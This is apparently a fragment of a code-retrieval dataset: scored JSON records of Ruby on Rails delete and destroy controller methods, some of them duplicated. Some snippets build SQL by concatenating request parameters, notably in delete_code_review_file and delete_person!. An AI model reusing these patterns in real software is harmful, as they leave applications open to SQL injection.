"3b1fc3e8345a083d53058eb9cd3e68d7", "score": "0.6360661", "text": "def delete\n renter = Renter.find(params[:id])\n if renter.belongs_to_user(session[:user_id])\n renter.destroy\n end\n redirect_to :action => 'index'\n end", "title": "" }, { "docid": "28ed632accd22d74b71e92f26ec4159b", "score": "0.63423514", "text": "def remove_contributor(user)\n remove_relationship(type: 'contributor', name: user.name)\n end", "title": "" }, { "docid": "c15bd96758e96e0a274fa6a7db598de3", "score": "0.63306606", "text": "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to contributions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c15bd96758e96e0a274fa6a7db598de3", "score": "0.63306606", "text": "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to contributions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e10cabae4ab6438a1ace4336e6cf79cf", "score": "0.63152933", "text": "def apiDelete\n @contribution = Contribution.find(params[:idc])\n @contribution.destroy\n end", "title": "" }, { "docid": "6743dff175c2d580033f03cf061e6cf1", "score": "0.6292778", "text": "def destroy\n #The NON-ADMIN controller is currently being used to perform the 'destroy' action (for no particular reason)\n @roster = Roster.find(RosteredPerson.find(params[:id]).roster_id)\n @crew = Crew.find(@roster.crew_id)\n\n @rostered_person = RosteredPerson.find(params[:id])\n @rostered_person.destroy\n \n respond_to do |format|\n format.html { redirect_to(roster_for_admin_crew_url(@crew.id, @roster.year), :notice => 'Crewmember removed.') }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "63e5a01a983dd340ee6a0cf0926d4db3", "score": "0.6290707", "text": "def remove_contributor(type, index)\n ds = self.datastreams[\"descMetadata\"]\n result = ds.remove_contributor(type,index)\n return result\n end", "title": "" }, { "docid": "6edd8d06d1a8cee1d625c4a6ff4f6645", "score": "0.626565", "text": "def delete_choice\n redirect_to (\"/admin/people/#{params[\"id\"]}/delete\")\n end", "title": "" }, { "docid": "049c84d1bfe72f359e1b60d0de9c7ca9", "score": "0.62644583", "text": "def destroy\n program = @submission_review.project.program\n if is_admin?(program)\n @reviewer = Reviewer.find(params[:id])\n @reviewer.destroy if is_admin?\n else\n flash[:notice] = 'You do not have delete priveleges.'\n end\n respond_to do |format|\n format.html { redirect_to(project_reviewers_url(current_program)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f4080f9458c5a4b32e37e300e72a24ad", "score": "0.6262967", "text": "def destroy\n if autenticacion == \"admin\"\n @personaje_guilty = PersonajeGuilty.find(params[:id])\n @personaje_guilty.destroy\n\n respond_to do |format|\n format.html { redirect_to(personaje_guilties_url) }\n format.xml { head :ok }\n end\n end\n end", "title": "" }, { "docid": "10a8ade27611c231aaec96afe7e652c5", "score": "0.6259551", "text": "def destroy\n\n\n respond_to do |format|\n\n # 使われている作者情報は削除しない\n if @author.credits.size != 0 then\n format.html { redirect_to authors_url, alert: '既に使用されている作者情報の為、削除できません。' }\n else\n @author.delete\n format.html { redirect_to authors_url, notice: '作者情報を削除しました。' }\n end\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2d0cb62d909e76930eb218f1a6881e54", "score": "0.6258128", "text": "def set_contributor\n @contributor = Contributor.find(params[:id])\n end", "title": "" }, { "docid": "2d0cb62d909e76930eb218f1a6881e54", "score": "0.6258128", "text": "def set_contributor\n @contributor = Contributor.find(params[:id])\n end", "title": "" }, { "docid": "2583828de25d4336fa92aeda036cdfee", "score": "0.62532085", "text": "def delete_restriction\n restriction = Dietaryrestriction.find(params[:dr_id])\n current_user.userdietaryrestrictionlinks.find_by(dietaryrestriction_id: params[:dr_id]).destroy\n # redirect_to user_preferences_path\n end", "title": "" }, { "docid": "133b5e3cf52d0ffdcf91b724bd98f291", "score": "0.6249378", "text": "def remove_contributor(type, index)\n ds = self.datastreams_in_memory[\"descMetadata\"]\n result = ds.remove_contributor(type,index)\n return result\n end", "title": "" }, { "docid": "9a4e5cbf9b30c3e99ec9adc62fc1eae8", "score": "0.62426776", "text": "def destroy\n @creator = Creator.find(params[:id])\n @creator.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_creators_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b2d49f446ed58b38cff6f390fd7a66e9", "score": "0.62415093", "text": "def destroy\n @reviewer.destroy\n end", "title": "" }, { "docid": "a59c0430b386652421c86aa2c8ca71f3", "score": "0.62357754", "text": "def delete_member\n if @church.update(delete_participant_ids: [params[:user_id]])\n render_success_message 'Member excluded successfully'\n else\n render_error_model @church\n end\n end", "title": "" }, { "docid": "393a28be8086e510ad88e01125b095e8", "score": "0.623402", "text": "def destroy\n @user_contribution.destroy\n respond_to do |format|\n format.html { redirect_to user_contributions_url, notice: 'User contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45b9a6282271be8118879afa213d61df", "score": "0.62142634", "text": "def destroy\n @author = Author.find_by(id_midia: @transcription.id_midia)\n @reviewers = Reviewer.all\n\n @reviewers.each do |rvwr|\n if rvwr.id_midia == @transcription.id_midia\n @reviewer = Reviewer.find_by(id_midia: rvwr.id_midia, email_membro: rvwr.email_membro)\n @reviewer.destroy unless @reviewer.nil?\n end\n end\n\n @author.destroy\n @transcription.destroy\n respond_to do |format|\n format.html { redirect_to transcriptions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6c3bb6296eaaad796d2b8d44525e164b", "score": "0.621323", "text": "def delete_code_review_file\n code_review_file = CodeReviewFile.find(params[:id])\n participantid = code_review_file.participantid\n #remove all associated comments.\n if code_review_file\n comments = CodeReviewComment.find_by_sql(\"select * from code_review_comments where codefileid = \" + params[:id])\n comments.each do |comment|\n comment.destroy\n end\n #destroy the file....\n code_review_file.destroy\n end\n #redirect back to same page....\n redirect_to(:controller => 'submitted_content', :action => 'edit', :id => participantid)\n end", "title": "" }, { "docid": "686321347c36c023aa8e8344462583d3", "score": "0.62114805", "text": "def destroy\n @person = Person.find(params[:id])\n permit \"owner of :person\" do\n\n \t@person.hidden = true\n\t\t\t@person.save\n\t\t\tflash[:notice] = @person.name + 'successfully removed.'\n\n respond_to do |format|\n format.html { redirect_to(people_url) }\n format.xml { head :ok }\n end\n end\n end", "title": "" }, { "docid": "03265e3620b6e4d570e7b4552468155d", "score": "0.62093127", "text": "def destroy\n @contribuyente.destroy\n respond_to do |format|\n format.html { redirect_to contribuyentes_url, notice: 'El Contribuyente ha sido eliminado' }\n end\n end", "title": "" }, { "docid": "66e4ca0af7481ca70a2a881fb57d895a", "score": "0.6207889", "text": "def contributor\n contributor_type.nil? ? nil : contributor_type.constantize.find(contributor_id)\n end", "title": "" }, { "docid": "fe12abf385bdf1fd88fcd4b167f426a5", "score": "0.61932653", "text": "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to project_contributions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "19c9a6b0fbc4c80b8a1e32ee5812a32e", "score": "0.61891794", "text": "def delete\n @object = Person.find(params[\"person\"][\"id\"])\n @id = @object.id\n \n if @object.destroy\n \n @success_message = \"The person was successfully deleted:\"\n @add_keywords = \"\"\n \n # DELETE KEYWORD PAIRINGS FROM TABLE\n \n defunct_keywords = KeywordItem.where(\"item_type = ? AND item_id = ?\", \"Person\", @id)\n \n if defunct_keywords != []\n defunct_keywords.each {|record| record.destroy}\n end\n\n render \"person_success\"\n \n else\n admins = (User.where(\"privilege = 1\").collect {|admin| \"#{admin.user_name}, #{admin.email}\"}).join(\"<br>\")\n @error_messages = \"Something went wrong; please contact a Level One administrator:<br><br>\" + admins\n \n render \"delete_find\"\n end\n end", "title": "" }, { "docid": "7335e8258404ab39d5e4f4212a45ac12", "score": "0.6175459", "text": "def destroy\n @author = Author.find(params[:id])\n @author.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_authors_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "326ac4156cacf9f8ecc23a637b19e654", "score": "0.61660117", "text": "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to contributions_url, notice: 'Contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "326ac4156cacf9f8ecc23a637b19e654", "score": "0.61660117", "text": "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to contributions_url, notice: 'Contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "326ac4156cacf9f8ecc23a637b19e654", "score": "0.61660117", "text": "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to contributions_url, notice: 'Contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "326ac4156cacf9f8ecc23a637b19e654", "score": "0.61660117", "text": "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to contributions_url, notice: 'Contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d00fd77ddf5c841a55536f9bfb0735a2", "score": "0.61656725", "text": "def delete_person(person)\n join = ProjectTeamMember.find(:first, :conditions => [\"project_id = ? and person_id = ?\", project_id , person.person_id])\n join.destroy \n end", "title": "" }, { "docid": "6be3e9f5a5c5db84ce7621febb929944", "score": "0.6149331", "text": "def destroy\n @author = Author.find(params[:id])\n @author.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_authors_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "12cf181bf19bbcf8e9c08fe3fd809d04", "score": "0.61485755", "text": "def destroy\n @person = current_scope.people.find(params[:id])\n @person.add_deletion_interaction(:user => current_user)\n @person.delete\n\n respond_to do |format|\n format.html { redirect_to people_path, :notice => \"Recruit was successfully deleted.\" }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5c302b3030bcee5ed0dd9495a4be1396", "score": "0.6143422", "text": "def destroy\n @author = Author.find(params[:id])\n @author.destroy\n\n redirect_to(authors_url, :flash => {:success => \"Author was successfully deleted.\"})\n end", "title": "" }, { "docid": "512d2fd02efe7cdf05010ec863274ab9", "score": "0.61431384", "text": "def destroy\n if @contribution.destroy\n flash[:notice] = \"Contribution was successfully destroyed.\"\n else\n flash[:notice] = \"Contribution could not be destroyed.\"\n end\n respond_to do |format|\n format.html { redirect_to enter_contributions_path(batch_id: params[:batch_id]) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9acd9446f00a5b76a39a8aaca953df49", "score": "0.6132941", "text": "def destroy\n @author = Author.find(params[:id])\n @author.destroy\n redirect_to authors_url\n end", "title": "" }, { "docid": "8ad3f091d9d0a4d0d45579fe1b907658", "score": "0.612686", "text": "def update\n authorize! @contributor\n\n @contributor.update_attributes(contributor_params)\n\n head 204\n end", "title": "" }, { "docid": "8ad3f091d9d0a4d0d45579fe1b907658", "score": "0.612686", "text": "def update\n authorize! @contributor\n\n @contributor.update_attributes(contributor_params)\n\n head 204\n end", "title": "" }, { "docid": "e968b21f790645c7b97f9c9c14f9ab46", "score": "0.61249495", "text": "def destroy\n @qualification = Qualification.find(params[:id])\n @owner = @qualification.person\n @qualification.destroy\n\n respond_to do |format|\n format.html { redirect_to(qualifications_for_admin_person_url(@owner)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2d8f0879bcc93f9d19aca73eeb49b60a", "score": "0.6119796", "text": "def destroy\n unless admin_logged_in then return end\n \n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "2c89988452c3a0ff3729971173aa4353", "score": "0.6118377", "text": "def destroy\n if !current_user.is_admin?\n flash[:error] = 'You don''t have permission to do this action.'\n redirect_to(people_url) and return \n end \n \n @person = Person.find(params[:id])\n @person.destroy\n\n respond_to do |format|\n format.html { redirect_to(people_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9238d5fefc57ac3301c6bf4245f32bc5", "score": "0.60916495", "text": "def destroy\n comment = Comment.find(params[:id])\n family = comment.family\n\n if hasAccess(2) || (!comment.person.nil? && comment.person.id == session[:user_id])\n comment.destroy\n end\n\n redirect_to(family)\n end", "title": "" }, { "docid": "df32c3b6d4f207d7c8b50c65e4676f60", "score": "0.6091615", "text": "def destroy\n if @contribution.user.id == current_user.id or current_user.admin == true\n @likes = @contribution.likes\n @comments = @contribution.comments\n @options = @contribution.options\n @likes.each do |like|\n like.destroy!\n end\n @comments.each do |comment|\n comment.destroy!\n end\n @options.each do |option|\n option.destroy!\n end\n @contribution.destroy!\n end\n \n respond_to do |format|\n #format.html { head :no_content }\n format.js\n format.html { redirect_to :controller => :users, :action => :activity, :user_id => @contribution.user.id}\n end\n end", "title": "" }, { "docid": "ac2f6131e4da3fbaf725b0da8bfd42ac", "score": "0.6078664", "text": "def destroy\n @license = current_user.distributor.licenses.find(params[:id])\n\n if @license.remove(params[:license][:removal_code], current_user, params[:license][:removal_reason])\n respond_to do |format|\n format.html { redirect_to @license, notice: 'License was successfully removed.' }\n format.json { head :no_content }\n end\n else\n redirect_to_remove_form\n end\n end", "title": "" }, { "docid": "32b84c47f01b7715d86751b6f274f8cc", "score": "0.6067462", "text": "def destroy\n @registrant = Registrant.find(params[:id])\n @registrant.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_registrants_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "11810938241123431a43eeb407b40fd8", "score": "0.60586745", "text": "def follower_following_delete\n @follower_following = FollowerFollowing.find(params[:id])\n \n @group_user = GroupUser.find_by_sql([\"SELECT gu.* FROM (group_users gu LEFT JOIN groups g ON g.id=gu.group_id) WHERE (g.user_id=#{@login_user.id} AND gu.user_id=#{@follower_following.following.id}) OR (g.user_id=#{@follower_following.following.id} AND gu.user_id=#{@login_user.id})\"])#:user_id=>@login_user.id,:group_id=>group.id)\n @group_user = GroupUser.find_by_sql([\"SELECT gu.* FROM (group_users gu LEFT JOIN groups g ON g.id=gu.group_id) WHERE (g.user_id=#{@follower_following.follower.id} AND gu.user_id=#{@login_user.id}) OR (g.user_id=#{@login_user.id} AND gu.user_id=#{@follower_following.follower.id})\"]) if @group_user.blank?\n @group_user.each do |g_u|\n g_u.destroy\n end\n @follower_following.destroy\n render :text=>\"Success\"\n end", "title": "" }, { "docid": "b2b23eff9045d5d8a8567b535b082f0c", "score": "0.6057346", "text": "def destroy\n @registrant.deleted = true\n\n respond_to do |format|\n if @registrant.save\n format.html { redirect_to root_path, notice: 'Registrant deleted' }\n format.json { head :no_content }\n else\n format.html { redirect_to root_path, alert: \"Error deleting registrant\" }\n end\n end\n end", "title": "" }, { "docid": "b2b23eff9045d5d8a8567b535b082f0c", "score": "0.6057346", "text": "def destroy\n @registrant.deleted = true\n\n respond_to do |format|\n if @registrant.save\n format.html { redirect_to root_path, notice: 'Registrant deleted' }\n format.json { head :no_content }\n else\n format.html { redirect_to root_path, alert: \"Error deleting registrant\" }\n end\n end\n end", "title": "" }, { "docid": "96804d28d1b035485474e42c382af642", "score": "0.605159", "text": "def destroy\n @chalenge = Chalenge.find(params[:id])\n\tif current_user.id==Dataset.find(@chalenge.Dataset_id).User_id\n\t\t@chalenge.destroy\n\t\trespond_to do |format|\n\t\t format.html { redirect_to chalenges_url }\n\t\t format.json { head :ok }\n\t\tend\n\telse\n\t\tredirect_to chalenges_path,:alert => 'You must own the dataset that contains a chalenge to destroy it'\n\tend\n end", "title": "" }, { "docid": "1f1aa216a538c6b51db31ffd40a434d2", "score": "0.6049005", "text": "def destroy\n @person_award = PersonAward.find(params[:id])\n @person_award.destroy\n\n respond_to do |format|\n format.html { redirect_to person_awards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8613ea4ed3d20f65e96921610f24c5dc", "score": "0.604828", "text": "def destroy\n @tipo_contributo = TipoContributo.find(params[:id])\n @tipo_contributo.destroy\n\n respond_to do |format|\n format.html { redirect_to tipi_contributo_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5e6e125b9278f6c286e0711a7b823042", "score": "0.6046498", "text": "def destroy\n @contribution_group = ContributionGroup.find(params[:id])\n @contribution_group.destroy\n\n respond_to do |format|\n format.html { redirect_to contribution_groups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f690c6c7457b1b38cb37d07ce50ea6ad", "score": "0.604304", "text": "def destroy\n @contribute.destroy\n respond_to do |format|\n format.html { redirect_to contributes_url, notice: 'Contribute was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3d20082401757e5b2bd072a79de88994", "score": "0.6041646", "text": "def delete_member\n @delete_uid = Integer(params[:delete_user_id]);\n @delete_from_gid = Integer(params[:delete_from_group_id]);\n Group.DeleteMember(@delete_from_gid, @delete_uid);\n redirect_to '/group/show_profile/' + @delete_from_gid.to_s\n end", "title": "" }, { "docid": "626cd27865e65cbaf78b188f58802d16", "score": "0.6041376", "text": "def destroy\n @contribution = get_contribution\n @contribution.destroy\n respond_with @contribution\n end", "title": "" }, { "docid": "5638cf046422c2a8cc6adb6ef238eb3c", "score": "0.60408926", "text": "def destroy\n @creator_relationship = CreatorRelationship.find(params[:id])\n @creator_relationship.destroy\n\n respond_to do |format|\n format.html { redirect_to creator_relationships_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "88f9b7fa314fedd14785d11e7176328d", "score": "0.6037659", "text": "def destroy\n @friend = Friend.find :first,\n :conditions => [ 'source_id = ? AND destination_id = ?',\n params[:d].to_i, @people.id ]\n @friend.destroy if @friend\n respond_to do |format|\n flash[:notice] = 'Removed the friend'\n format.html { redirect_to people_path(@people) }\n end\n end", "title": "" }, { "docid": "d71bbdf4c010a9a2ffc95f44da23175f", "score": "0.60328615", "text": "def destroy\n @donation = Donation.find(params[:id])\n @donor = User.find_by_id(@donation.user_id)\n @donation.destroy\n @family = Family.find_by_family_code(@donation.family_code)\n @family.display = true\n @family.save\n\n respond_to do |format|\n format.html { redirect_to \"/users/donations\", notice: \"Successfully deleted donation!\" }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "9d04aef1a5c6b120f769565676c4f013", "score": "0.6031497", "text": "def destroy\n @referred_by = ReferredBy.find(params[:id])\n @referred_by.destroy\n\n respond_to do |format|\n format.html { redirect_to referred_bies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "91ef1c0a615e922460f13ba5a287707d", "score": "0.60277534", "text": "def delete\n @member = Member.find(params[:member_id])\n end", "title": "" }, { "docid": "1dbb642f318fd992d530867e7ceee9bb", "score": "0.601532", "text": "def destroy\n # Save off a record of who performed the deletion before we proceed to destroy the record\n update_user_attribution @document, false, false, true\n @document.save\n\n @document.destroy\n respond_to do |format|\n format.html { redirect_to documents_url, notice: 'Document was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "00713395725f35c011579485b3642f15", "score": "0.6012549", "text": "def destroy\n if @distributor.brand_distributors.size <= 1\n @distributor.destroy\n else\n @distributor.brand_distributors.each do |db|\n db.destroy if db.brand == website.brand\n end\n end\n respond_to do |format|\n format.html { redirect_to(admin_distributors_url) }\n format.xml { head :ok }\n end\n website.add_log(user: current_user, action: \"Deleted distributor #{@distributor.name}\")\n end", "title": "" }, { "docid": "47f535d6fb9304419ab158ce5ec4dfdb", "score": "0.6010814", "text": "def destroy\n @legal_doucument = LegalDoucument.find(params[:id])\n @legal_doucument.destroy\n\n respond_to do |format|\n format.html { redirect_to legal_doucuments_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "db69a453b31c9a7cd4a9e3ae0f2642aa", "score": "0.6009956", "text": "def destroy\n authorize @contribution\n @contribution.destroy\n respond_to do |format|\n @feedback_hash = { msg: \"Contributo eliminato con successo\" }\n format.js\n end\n end", "title": "" }, { "docid": "1461626724d44f8abf29f72fff4bd8ff", "score": "0.60012025", "text": "def destroy\n @collaborator = Collaborator.find(params[:id])\n @collaborator.destroy\n\n respond_to do |format|\n format.html { redirect_to(collaborators_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "df7f998b6fe15821afcd3f8950ab7147", "score": "0.6000295", "text": "def destroy\n @cim_hrdb_person_year = CimHrdbPersonYear.find(params[:id])\n @cim_hrdb_person = @cim_hrdb_person_year.person\n @cim_hrdb_person_year.destroy\n\n respond_to do |format|\n format.html { redirect_to(edit_cim_hrdb_person_path(@cim_hrdb_person.person_id)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "062b2a9e775ac80180097f6dc8c23277", "score": "0.5999949", "text": "def destroy\n @reviewer.destroy\n user = @reviewer.user\n user.is_reviewer = false\n user.save\n respond_to do |format|\n format.html { redirect_to reviewers_url, notice: 'レビュアー情報を削除しました。' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "95c957d818de119b3ae4c598a2415ff9", "score": "0.59984475", "text": "def destroy\n @brothers_and_sister = BrothersAndSister.find(params[:id])\n @brothers_and_sister.destroy\n\n respond_to do |format|\n format.html { redirect_to PersonalDetail.find(@brothers_and_sister.family_history.id) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "02302a0dce4fbee0a0f76104eb38223f", "score": "0.59965247", "text": "def destroy\n @contribuyente.destroy\n respond_to do |format|\n format.html { redirect_to contribuyentes_url, notice: 'Contribuyente was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9fad97c3d8014a0297f8d6bd1231e3eb", "score": "0.59962267", "text": "def destroy\n @competitor = Competitor.find(:first, :conditions => [\"id = ?\", params[:id]], :select => \"id, user_id, name, competitor_style_id, source_id\")\n @competitor.destroy\n \n respond_to do |format|\n format.html { redirect_to(competitors_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a71afc6a8268718544016dde8a314133", "score": "0.599498", "text": "def destroy\n if @current_user.nil? or not @project.owner?(@current_user.id)\n flash[:alert] = :no_access\n redirect_to :root and return\n else\n result = @project.delete_citation params[:id]\n\n if result == 1\n flash[:notice] = t :citation_deleted\n else\n flash[:alert] = \"#{t :cite_delete_error} #{t :try_again} #{t :error_persists}\"\n end\n\n respond_to do |format|\n format.html { redirect_to @project }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "e9c2a5b36a99b13fe82e1852d2388022", "score": "0.5993501", "text": "def destroy\r\n @person = Person.find(params[:id])\r\n\tdeleted_person = @person.full_name\r\n @person.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to :back, notice: \"#{deleted_person} was deleted.\" }\r\n format.xml { head :ok }\r\n end\r\n end", "title": "" }, { "docid": "5b3e5a191dba7c33b902fd0a6e141862", "score": "0.5992879", "text": "def delete_person! persID\n @queries += 1\n @client.query \"DELETE FROM #{@config['streamer_table']} WHERE abc_persid = '#{persID}'\"\n end", "title": "" }, { "docid": "f452adf5b9adcba22f5ea732842d0b7a", "score": "0.59918016", "text": "def channeldelete\n MChannel.find_by(\"channel_id=? \", params[:channelremove]).delete\n redirect_to managechannel_path\n end", "title": "" }, { "docid": "8db54805f6d79dc0ab078d9b8132d96d", "score": "0.5991674", "text": "def destroy\n @recipient = current_user.recipient.find(params[:id])\n @recipient.destroy\n redirect_to root_url\n end", "title": "" }, { "docid": "14864cec82f14a7fef809cc7356b4a00", "score": "0.5991225", "text": "def set_contributor\n @contributor = ScrumContributor.find(params[:id])\n end", "title": "" }, { "docid": "8824226fd61b69bec31b6a0035466ff3", "score": "0.599069", "text": "def delete\n @this_user.delete\n redirect_to :controller => 'user', :action => 'view', :display_name => params[:display_name]\n end", "title": "" } ]
c90acf816866696cefc15dac9b9642ed
Iterate over all key/value pairs in the order they occur in the file. This is not sorted or insertion order. +each+ will yield each key,value pair separately even when a key is duplicate.
[ { "docid": "1fea807d082f7c27505083264c4fa3a5", "score": "0.6725856", "text": "def each\n pos = hash_size\n hoff0 = @hashes[0]\n while pos < hoff0\n key, value = *read_entry(pos)\n yield(key,value)\n pos += key.length + value.length + hashref_size\n end\n end", "title": "" } ]
[ { "docid": "1a8531d688ec5f42c5174763b586055f", "score": "0.66654205", "text": "def each\r\n record = @head\r\n while record\r\n yield record[:key], record[:value]\r\n record = record[:next]\r\n end\r\n end", "title": "" }, { "docid": "db72f49021b50ea712a51785e535e543", "score": "0.6508001", "text": "def each\n index = 1\n while index <= self.keys.get_length\n key = self.keys.get(index)\n value = self.values.get(index)\n yield key , value\n index = index + 1\n end\n self\n end", "title": "" }, { "docid": "229c64c7184d562c8b7e11cad76158fe", "score": "0.650717", "text": "def each\n return to_enum(:each) unless block_given?\n @entry.each { |key, value| yield [key, value] }\n end", "title": "" }, { "docid": "2ff99e279571aee5acff5c3a23e34b01", "score": "0.6500429", "text": "def each\n index = 0\n while index < @i_keys.get_length\n key = @i_keys.get(index)\n value = @i_values.get(index)\n yield key , value\n index = index + 1\n end\n self\n end", "title": "" }, { "docid": "be0aa2a5f1e15670b9f02236a8206383", "score": "0.6492577", "text": "def each\n @hash.each do |k, v|\n yield k, v\n end\n end", "title": "" }, { "docid": "ec461f32b22f4b0d4f012fa5e08dddce", "score": "0.64912874", "text": "def each\n each_pair do |key, value|\n yield [key, value]\n end\n self\n end", "title": "" }, { "docid": "2d5097b7a27be771c66a7582b46153bc", "score": "0.6458701", "text": "def each\n original.each do |key, value|\n yield key, value\n end\n end", "title": "" }, { "docid": "99ac79850af8543ac35db24c988e5dad", "score": "0.6442156", "text": "def each\r\n\t record = @head\r\n\t while record.next && record.next != @tail\r\n\t\t record = record.next\n\t\t record.values.each{|value| yield record.key, value }\r\n\t end\r\n end", "title": "" }, { "docid": "fc7b86a6ffbde7a8c409f8e09fa7237b", "score": "0.6401917", "text": "def each\n store.each { |(key, value)| yield key, value }\n end", "title": "" }, { "docid": "185290719f5aa04f6fc6945b7a58ebe2", "score": "0.63986534", "text": "def each # :yields: key, value\n @attrs.each { |k, v| yield(k, v) }\n end", "title": "" }, { "docid": "ab1ad0448ad604a941410de0872d8f59", "score": "0.6383013", "text": "def each_pair\n\t\t\titer = @packet.params.entry_set.iterator\n\t\t\twhile iter.has_next\n\t\t\t\tentry = iter.next\n\t\t\t\tyield entry.key.to_s, entry.value\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "ad01680680dbc8644d44c1cd0e145095", "score": "0.6381823", "text": "def each\n @values_map.each do |key, value|\n yield key, value\n end\n end", "title": "" }, { "docid": "197ef90b5a2a23987f2252d09fd485ef", "score": "0.6359151", "text": "def each\n @keydir.each do |key, index|\n entry = @keydir.data_files[index.file_id][index.value_pos, index.value_sz]\n yield [entry.key, entry.value]\n end\n end", "title": "" }, { "docid": "dd58d0c75fb8943d6ca3edeafa18f97e", "score": "0.6322807", "text": "def each()\n @hash.each do |k, v|\n yield k, self[k]\n end\n end", "title": "" }, { "docid": "bbe7434fa7c0ccb5075d256f5fdd3425", "score": "0.6292618", "text": "def each\n @data.each {|key, value| yield key, value}\n end", "title": "" }, { "docid": "45728fc49ebeffc7f533fe8868e84fa3", "score": "0.62318444", "text": "def each(&block)\n keys.each(&block)\n end", "title": "" }, { "docid": "dd8700d42245e571398914592e90d4e7", "score": "0.61605674", "text": "def each\n CSV.foreach(@file, @options) do |row|\n yield row.to_hash\n end\n end", "title": "" }, { "docid": "7b5c9d992a50adc696c1083815ce6f85", "score": "0.6159631", "text": "def each_key\n keys.sort.each {|key| yield key}\n end", "title": "" }, { "docid": "49c1b4e64367adf9a4dd29d6888f2c8d", "score": "0.6134201", "text": "def each\n @internal_hash.each { |k,_| yield k }\n end", "title": "" }, { "docid": "01670806530efeb5b14a3a7e93a56251", "score": "0.6074023", "text": "def each\n get_objects.each {|key, value| yield key, value }\n end", "title": "" }, { "docid": "9779eeca83337457f4db1b33208f5dd1", "score": "0.6047364", "text": "def each\n if block_given?\n @data.each do |k, v|\n yield k, v\n end\n else\n @data.each\n end\n end", "title": "" }, { "docid": "873acf58644ccd620d6b31e329faa339", "score": "0.60032433", "text": "def each\n each_node do |node|\n yield(node_key(node), node_value(node))\n end \n end", "title": "" }, { "docid": "873acf58644ccd620d6b31e329faa339", "score": "0.60032433", "text": "def each\n each_node do |node|\n yield(node_key(node), node_value(node))\n end \n end", "title": "" }, { "docid": "7977dcf0b91c338a0120a77861a5f5d8", "score": "0.59570384", "text": "def each_entry\n if block_given?\n @keys.each { |key| yield @entries[key] } \n else\n enum_for(:each_entry) \n end\n end", "title": "" }, { "docid": "c3944524e22a967b255479e3ff98396b", "score": "0.59490037", "text": "def each_pair(&_block)\n path = path_to('/')\n\n case result = http_get(path, query:'recurse')\n when String\n result = json_parse(result)\n when 404\n return # no keys!\n end\n\n unless result.is_a?(Array)\n raise CMDB::Error.new(\"Consul 'GET #{path}': expected Array, got #{all.class.name}\")\n end\n\n result.each do |item|\n key = slash_to_dot(item['Key'])\n key.sub(@useless,'')\n next unless item['Value']\n value = json_parse(Base64.decode64(item['Value']))\n validate!(key, value)\n yield(key, value)\n end\n\n result.size\n end", "title": "" }, { "docid": "7cba737af0a91fd865e606501ca41d18", "score": "0.59448564", "text": "def each(&blk)\n enum = Enumerator.new do |y|\n @converted.each {|k, v| y.yield(k,v) }\n @hash.each {|k,v| y.yield(k, self.move_value(k)) }\n end\n if blk.nil?\n enum\n else\n enum.each do |k,v|\n blk.call(k,v)\n end\n end\n end", "title": "" }, { "docid": "05841e08c095ca382476f1bf66bdcb41", "score": "0.5925357", "text": "def each\n current_index = size - 1\n while current_index >= 0\n value = Dictionary.db.zrange self.name, current_index, current_index\n item = DictionaryItem.new(self, value[0])\n yield item if block_given?\n current_index -= 1\n end\n end", "title": "" }, { "docid": "f31b8f783d708a407203fb0ba4314d51", "score": "0.59232134", "text": "def each\n @entries.each {|e| yield e}\n end", "title": "" }, { "docid": "040fd4abe46d5fb99f32929e712dc571", 